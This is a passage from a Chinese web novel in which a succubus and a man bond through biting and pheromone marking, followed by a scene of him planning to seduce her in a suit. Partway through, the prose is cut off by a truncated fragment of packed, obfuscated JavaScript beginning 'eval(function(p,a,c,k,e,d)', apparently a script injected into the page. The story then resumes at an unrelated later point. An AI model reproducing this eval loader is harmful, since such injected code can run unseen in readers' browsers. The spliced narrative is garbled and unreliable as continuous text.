然而,莓陵的身体像个镂空的沙漏,兜不住信息素,留不下任何痕迹。 纠结、惆怅,难以言说的失落感萦绕在温迟心头,莓陵的身体像张写不了字的白纸,不知所措,又无所适从。 难受极了! 莓陵无法和温迟共情这种情绪,她正如位网瘾少年般沉浸在温迟展示的世界里,这个世界比如今的人类世界更完美。 她喜欢这里。 在第三次让温迟咬她,又享受完温迟的世界后,她才注意到温迟赤红的眼。 她抚摸温迟的胸膛,缓缓蹲下,在温迟饱沾迷蒙的眼神里,剥开他的衬衫,露出胸膛。 不用太用力,就能获得丰厚的回报。 吃饱喝足后,莓陵舔舔嘴角,再次露出后颈,“你再咬我一口。” 温迟不肯,他有种被利用完就丢掉的错觉,像隔着塑料薄膜吃了口蛋糕,没吃到又心有不甘,偏偏还不能不配合。 “温迟。”莓陵催促着。 温迟别过脸,“你别撒娇。” 嘴上说着,手指主动拨开莓陵后颈的金发,指尖还忍不住在奶油般的肌肤上摸索。 摸索片刻后,他才发现,莓陵的后颈光洁如新,刚刚咬的伤口消失不见。不仅如此,莓陵的脖子上还多了一样东西…… 腺体。 如果温迟没有看错的话。 几乎是在他识别出那是Omega特有的腺体后,他的牙齿已没入莓陵的后颈,走投无路的信息素像是有了归宿,温迟那颗躁动不安又颤抖的心也有了依托。 他忍不住呼了口气,低低喘息,满足得难以自拔。 “我在幻境里得知,Alpha需要通过标记Omega的行为获取满足感。温迟,这算是我给你的交换礼物。” 利用魅魔的能力制造腺体,满足温迟,是她和温迟交换的礼物。 莓陵抬手,在温迟沉重的呼吸声中反过身,安抚摸了摸他的头。 魅魔从人类身上获取能量又反哺满足人类。 这种事莓陵很少做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他的指尖在温迟锁骨处停下,直到温迟给了他一个极度不耐烦的眼神,才收手,缓缓把话说完,“你穿西装的样子。” 恶魔温迟第一个不同意,“你让我和红灯区的站街男一样勾搭她?!” 一句疯了还没说出来,天使温迟掀掀眼皮,幽幽开口,“你就说想不想吧。” 恶魔温迟横了他一眼,低头不语。 温迟早已从浴缸中起身,拨通西装定制店的电话,“要一套黑色西装。嗯,我明天就去试。” 挂断电话,温迟心情舒服许多,耐心洗了个澡。 西装定制的流程在钞能力的作用下进程飞快。 不过一周时间,温迟就拿到西装,待到夜幕降临,他吩咐莓陵,“笔记本落在我办公室,你帮我送过来。” 有了可以不加班的理由,莓陵答应得很快,“好。” 当她推开门,瞧见昏暗光线里,温迟西装革履坐在椅子上,双手放在背后,微敞开胸襟,弓着背从下至上看她时。 咔哒一声,手里的笔记本掉在地上。